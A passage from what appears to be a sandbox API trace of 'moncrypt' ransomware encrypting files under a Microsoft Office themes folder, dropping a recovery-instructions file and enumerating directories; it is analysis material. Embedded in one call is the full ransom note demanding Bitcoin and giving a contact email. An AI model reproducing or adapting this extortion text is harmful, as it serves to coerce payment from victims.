lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.moncrypt")) returned 1 [0053.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.109] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.109] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xbb5a [0053.109] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.109] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.310] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.310] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.310] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.310] GlobalUnlock (hMem=0x440004) returned 0 [0053.310] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.310] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.310] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.310] GlobalUnlock (hMem=0x440004) returned 0 [0053.310] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.310] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.310] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.311] GlobalUnlock (hMem=0x44000c) returned 0 [0053.311] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.311] GlobalUnlock (hMem=0x440004) returned 0 [0053.311] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.311] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.311] GlobalUnlock (hMem=0x440004) returned 0 [0053.311] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.311] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.311] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.311] GlobalUnlock (hMem=0x440004) returned 0 [0053.311] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.708] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.708] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.709] SetFilePointer (in: hFile=0x18c, lDistanceToMove=47962, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xbb5a [0053.709] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.709] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.721] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.721] CloseHandle (hObject=0x18c) returned 1 [0053.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.723] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.723] CloseHandle (hObject=0x18c) returned 1 [0053.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0053.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.724] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.724] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.724] GlobalUnlock (hMem=0x440004) returned 0 [0053.724] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.724] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.724] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.724] GlobalUnlock (hMem=0x440004) returned 0 [0053.724] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.724] GlobalUnlock (hMem=0x44000c) returned 0 [0053.724] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d65fa0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40d65fa0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40d65fa0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0053.724] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0053.724] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0053.724] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.725] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.725] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.725] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.725] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.725] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.725] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.725] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0053.725] CloseHandle (hObject=0x18c) returned 1 [0053.725] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.725] GetLastError () returned 0x12 [0053.725] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.725] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.725] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.725] GlobalUnlock (hMem=0x44000c) returned 0 [0053.725] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.726] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.726] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.726] GlobalUnlock (hMem=0x44000c) returned 0 [0053.726] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.726] GlobalUnlock (hMem=0x440004) returned 0 [0053.726] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40d8c100, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40d8c100, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.726] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.726] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.726] GlobalLock (hMem=0x440004) returned 0x550170 [0053.726] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.726] GlobalUnlock (hMem=0x440004) returned 0 [0053.726] GlobalLock (hMem=0x440004) returned 0x550170 [0053.726] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.726] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.726] GlobalUnlock (hMem=0x440004) returned 0 [0053.726] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.726] GlobalUnlock (hMem=0x44000c) returned 0 [0053.726] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.726] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40d8c100, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40d8c100, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.726] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.726] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.726] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.726] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.727] GlobalUnlock (hMem=0x44000c) returned 0 [0053.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.727] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.727] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.727] GlobalUnlock (hMem=0x44000c) returned 0 [0053.727] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.727] GlobalUnlock (hMem=0x440004) returned 0 [0053.727] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.727] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d65fa0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40d65fa0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40d65fa0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0053.727] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.727] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.727] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.727] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.727] GlobalUnlock (hMem=0x440004) returned 0 [0053.727] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.727] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.727] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.727] GlobalUnlock (hMem=0x440004) returned 0 [0053.727] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.727] GlobalUnlock (hMem=0x44000c) returned 0 [0053.727] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.727] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.727] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.727] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.727] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.727] GlobalUnlock (hMem=0x44000c) returned 0 [0053.727] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.728] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.728] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.728] GlobalUnlock (hMem=0x44000c) returned 0 [0053.728] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.728] GlobalUnlock (hMem=0x440004) returned 0 [0053.728] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.728] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM.moncrypt", cAlternateFileName="RMNSQU~1.MON")) returned 1 [0053.728] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.728] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.728] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.728] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.728] GlobalUnlock (hMem=0x440004) returned 0 [0053.728] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.728] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.728] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.728] GlobalUnlock (hMem=0x440004) returned 0 [0053.728] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.728] GlobalUnlock (hMem=0x44000c) returned 0 [0053.728] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.728] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0053.728] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.728] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.728] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.728] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.728] GlobalUnlock (hMem=0x44000c) returned 0 [0053.728] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.728] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.729] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.729] GlobalUnlock (hMem=0x44000c) returned 0 [0053.729] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.729] GlobalUnlock (hMem=0x440004) returned 0 [0053.729] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.729] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0053.729] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.729] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.729] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.729] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.729] GlobalUnlock (hMem=0x440004) returned 0 [0053.729] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.729] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.729] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.729] GlobalUnlock (hMem=0x440004) returned 0 [0053.729] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.729] GlobalUnlock (hMem=0x44000c) returned 0 [0053.729] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.729] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0053.729] GetLastError () returned 0x12 [0053.729] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.730] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0053.730] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0053.730] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0053.730] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.730] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.730] GlobalUnlock (hMem=0x44000c) returned 0 [0053.730] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.730] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.730] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.730] GlobalUnlock (hMem=0x44000c) returned 0 [0053.730] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.730] GlobalUnlock (hMem=0x440004) returned 0 [0053.730] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.730] GlobalLock (hMem=0x440004) returned 0x550170 [0053.730] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.730] GlobalUnlock (hMem=0x440004) returned 0 [0053.730] GlobalLock (hMem=0x440004) returned 0x550170 [0053.731] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.731] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.731] GlobalUnlock (hMem=0x440004) returned 0 [0053.731] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.731] GlobalUnlock (hMem=0x44000c) returned 0 [0053.731] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.731] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN") returned 1 [0053.731] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.731] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.731] GlobalUnlock (hMem=0x44000c) returned 0 [0053.731] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.731] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.731] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.731] GlobalUnlock (hMem=0x44000c) returned 0 [0053.731] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.731] GlobalUnlock (hMem=0x440004) returned 0 [0053.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冼R冐R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0053.731] GetLastError () returned 0x3 [0053.732] 